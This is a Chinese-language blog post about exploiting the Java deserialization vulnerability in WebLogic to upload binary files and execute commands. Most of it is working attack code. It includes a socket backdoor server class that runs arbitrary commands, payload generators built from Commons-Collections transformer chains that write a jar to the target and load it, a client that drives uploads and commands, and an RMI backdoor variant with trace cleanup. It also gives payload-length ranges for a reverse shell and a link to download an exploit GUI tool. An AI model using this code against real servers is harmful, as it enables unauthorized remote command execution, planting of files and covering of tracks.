WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行
0x00 简介
Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞。FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式。前段时间rebeyond在不需要连接公网的情况下使用RMI的方式在WebLogic上实现了文本文件上传和命令执行,但没有实现二进制文件上传。我通过使用Socket的方式实现了二进制文件上传和命令执行,同时也实现了RMI方式的二进制文件。
0x01 思路
首先发Payload在目标服务器中写入一个Socket实现的迷你服务器类,所有的功能都将由这个迷你服务器来执行,然后再发一个Payload来启动服务器,最后本地客户端创建Socket连接的方式向服务器发送请求来使用相应的功能,其中上传二进制文件我采用分块传输的思想,这样可以实现上传较大的文件。
- 本地创建Socket实现的迷你服务器类并导出jar包
- 把jar包上传至目标服务器
- 启动目标服务器上的迷你服务器
- 使用二进制文件上传和命令执行功能
- 发送关闭请求,清理目标服务器残留文件
0x02 实现
1.本地创建Socket实现的迷你服务器类并导出jar包
public class Server { /** * 启动服务器 * @param port * @param path */ public static void start(int port, String path) { ServerSocket server = null; Socket client = null; InputStream input = null; OutputStream out = null; Runtime runTime = Runtime.getRuntime(); try { server = new ServerSocket(port); // 0表示功能模式 1表示传输模式 int opcode = 0; int len = 0; byte[] data = new byte[100 * 1024]; String uploadPath = ""; boolean isUploadStart = false; client = server.accept(); input = client.getInputStream(); out = client.getOutputStream(); byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 }; while (true) { len = input.read(data); if (len != -1) { if (opcode == 0) { // 功能模式 String operation = new String(data, 0, len); String[] receive = operation.split(":::"); if ("bye".equals(receive[0])) { // 断开连接 关闭服务器 out.write("success".getBytes()); out.flush(); FileOutputStream outputStream = new FileOutputStream(path); // 清理残留文件 outputStream.write("".getBytes()); outputStream.flush(); outputStream.close(); break; } else if ("cmd".equals(receive[0])) { // 执行命令 返回结果 try { Process proc = runTime.exec(receive[1]); InputStream in = proc.getInputStream(); byte[] procData = new byte[1024]; byte[] total = new byte[0]; int procDataLen = 0; while ((procDataLen = in.read(procData)) != -1) { byte[] temp = new byte[procDataLen]; for (int i = 0; i < procDataLen; i++) { temp[i] = procData[i]; } total = byteMerger(total, temp); } if (total.length == 0) { out.write("error".getBytes()); } else { out.write(total); } out.flush(); } catch (Exception e) { e.printStackTrace(); out.write("error".getBytes()); out.flush(); } } else if ("upload".equals(receive[0])) { // 切换成传输模式 uploadPath = receive[1]; isUploadStart = true; opcode = 1; } } else if (opcode == 1) { // 传输模式 byte[] receive = new byte[len]; for (int i = 0; i < len; i++) { receive[i] = data[i]; } if (Arrays.equals(overData, receive)) { // 传输结束切换成功能模式 isUploadStart = false; opcode = 0; } else { // 分块接收 FileOutputStream outputStream = null; if (isUploadStart) { // 接收文件的开头部分 outputStream = new FileOutputStream(uploadPath, false); outputStream.write(receive); isUploadStart = false; } else { // 接收文件的结束部分 outputStream = new FileOutputStream(uploadPath, true); outputStream.write(receive); } outputStream.close(); } } } else { Thread.sleep(1000); } } } catch (Exception e) { e.printStackTrace(); try { out.write("error".getBytes()); out.flush(); } catch (IOException e1) { e1.printStackTrace(); } } finally { try { client.close(); server.close(); } catch (IOException e) { e.printStackTrace(); } } } /** * 合并字节数组 * @param byte_1 * @param byte_2 * @return 合并后的数组 */ private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) { byte[] byte_3 = new byte[byte_1.length + byte_2.length]; System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length); System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length); return byte_3; } }
编译并导出jar包
2.发送Payload把jar包上传至服务器
这里我要特别说明一点,breenmachine在介绍WebLogic漏洞利用时特别说明了需要计算Payload的长度,但是我看到过的国内文章没有一篇提到这一点,给出的利用代码中的Payload长度值写的都是原作者的 09f3
,我觉得这也是导致漏洞利用失败的主要原因之一,因此发送Payload前最好计算下长度。
A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.
Payload的长度值可以在一个范围内,我们团队的cf_hb经过fuzz测试得到几个范围值:
- poc访问指定url:0x0000-0x1e39
- 反弹shell:0x000-0x2049
- 执行命令calc.exe:0x0000-0x1d38
这一步生成上传jar包的Payload
public static byte[] generateServerPayload(String remotePath) throws Exception { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { remotePath } }), new InvokerTransformer("write", new Class[] { byte[].class }, new Object[] { Utils.hexStringToBytes(SERVER_JAR) }), new ConstantTransformer(1) }; return generateObject(transformers); }
发送到目标服务器写入jar包
3.发送Payload启动目标服务器上的迷你服务器
生成启动服务器的Payload
public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "org.heysec.exp.Server" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "start", new Class[] { int.class, String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[] { port, remotePath } }) }; return generateObject(transformers); }
发送到目标服务器启动迷你服务器
4.使用二进制文件上传和命令执行功能
本地测试客户端的代码
public class Client { public static void main(String[] args) { Socket client = null; InputStream input = null; OutputStream output = null; FileInputStream fileInputStream = null; try { int len = 0; byte[] receiveData = new byte[5 * 1024]; byte[] sendData = new byte[100 * 1024]; int sendLen = 0; byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 }; // 创建客户端Socket client = new Socket("10.10.10.129", 8080); input = client.getInputStream(); output = client.getOutputStream(); // 发送准备上传文件命令使服务器切换到传输模式 output.write("upload:::test.zip".getBytes()); output.flush(); Thread.sleep(1000); // 分块传输文件 fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip"); sendLen = fileInputStream.read(sendData); if (sendLen != -1) { output.write(Arrays.copyOfRange(sendData, 0, sendLen)); output.flush(); Thread.sleep(1000); while ((sendLen = fileInputStream.read(sendData)) != -1) { output.write(Arrays.copyOfRange(sendData, 0, sendLen)); output.flush(); } } Thread.sleep(1000); // 发送文件上传结束命令 output.write(overData); output.flush(); Thread.sleep(1000); // 执行命令 output.write("cmd:::cmd /c dir".getBytes()); output.flush(); Thread.sleep(1000); // 接收返回结果 len = input.read(receiveData); String result = new String(receiveData, 0, len, "GBK"); System.out.println(result); Thread.sleep(1000); // 关闭服务器 output.write("bye".getBytes()); output.flush(); Thread.sleep(1000); len = input.read(receiveData); System.out.println(new String(receiveData, 0, len)); } catch (Exception e) { e.printStackTrace(); } finally { try { fileInputStream.close(); client.close(); } catch (Exception e) { e.printStackTrace(); } } } }
测试结果1
测试结果2
5. 发送关闭请求清理残留文件
客户端发送关闭请求
output.write("bye".getBytes()); output.flush();
服务器清除残留文件并关闭
if ("bye".equals(receive[0])) { // 断开连接 关闭服务器 out.write("success".getBytes()); out.flush(); FileOutputStream outputStream = new FileOutputStream(path); // 清理残留文件 outputStream.write("".getBytes()); outputStream.flush(); outputStream.close(); break; }
这就是按照我的思路实现的全部过程
0x03 RMI方式实现二进制文件上传及优化流程
这部分只是对rebeyond的利用方式进行了扩展,添加了二进制文件上传的功能以及优化了流程。
扩展的远程类
public class RemoteObjectImpl implements RemoteObject { /** * 分块上传文件 */ public boolean upload(String uploadPath, byte[] data, boolean append) { FileOutputStream out = null; try { out = new FileOutputStream(uploadPath, append); out.write(data); return true; } catch (Exception e) { e.printStackTrace(); return false; } finally { try { out.close(); } catch (Exception e) { e.printStackTrace(); return false; } } } /** * 执行命令 */ public String exec(String cmd) { try { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader( proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; String result; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } result = sb.toString(); if ("".equals(result)) { return "error"; } else { return result; } } catch (Exception e) { e.printStackTrace(); return "error"; } } /** * 反注册远程类并清除残留文件 */ public void unbind(String path) { try { Context ctx = new InitialContext(); ctx.unbind("RemoteObject"); } catch (Exception e) { e.printStackTrace(); } FileOutputStream out = null; File file = null; try { file = new File(path); out = new FileOutputStream(file); out.write("".getBytes()); } catch (Exception e) { e.printStackTrace(); } finally { try { out.close(); } catch (Exception e) { e.printStackTrace(); } } } /** * 注册远程类 */ public static void bind() { try { RemoteObjectImpl remote = new RemoteObjectImpl(); Context ctx = new InitialContext(); ctx.bind("RemoteObject", remote); } catch (Exception e) { e.printStackTrace(); } } }
这样最后反注册和清除残留文件的时候就不需要再发送Payload了,只要调用远程类的unbind方法就行。
0x04 Socket VS RMI
VS | Socket | RMI |
---|---|---|
端口 | 需要额外端口可能被防火墙拦截 | 使用WebLogic本身端口 |
传输速率 | 通过Socket字节流较快 | 通过远程过程调用较慢 |
0x05 总结
这里以创建Socket服务器的思想实现了漏洞利用,我们可以继续扩展服务器的功能,甚至其他的代码执行漏洞也可以尝试这种方式,在传输较大文件时建议优先使用Socket方式。最后,我开发了GUI程序集成了Socket和RMI两种利用方式,大家可以自主选择。
Socket利用方式
RMI利用方式
下载链接: http://pan.baidu.com/s/1pKuR9GJ 密码:62x4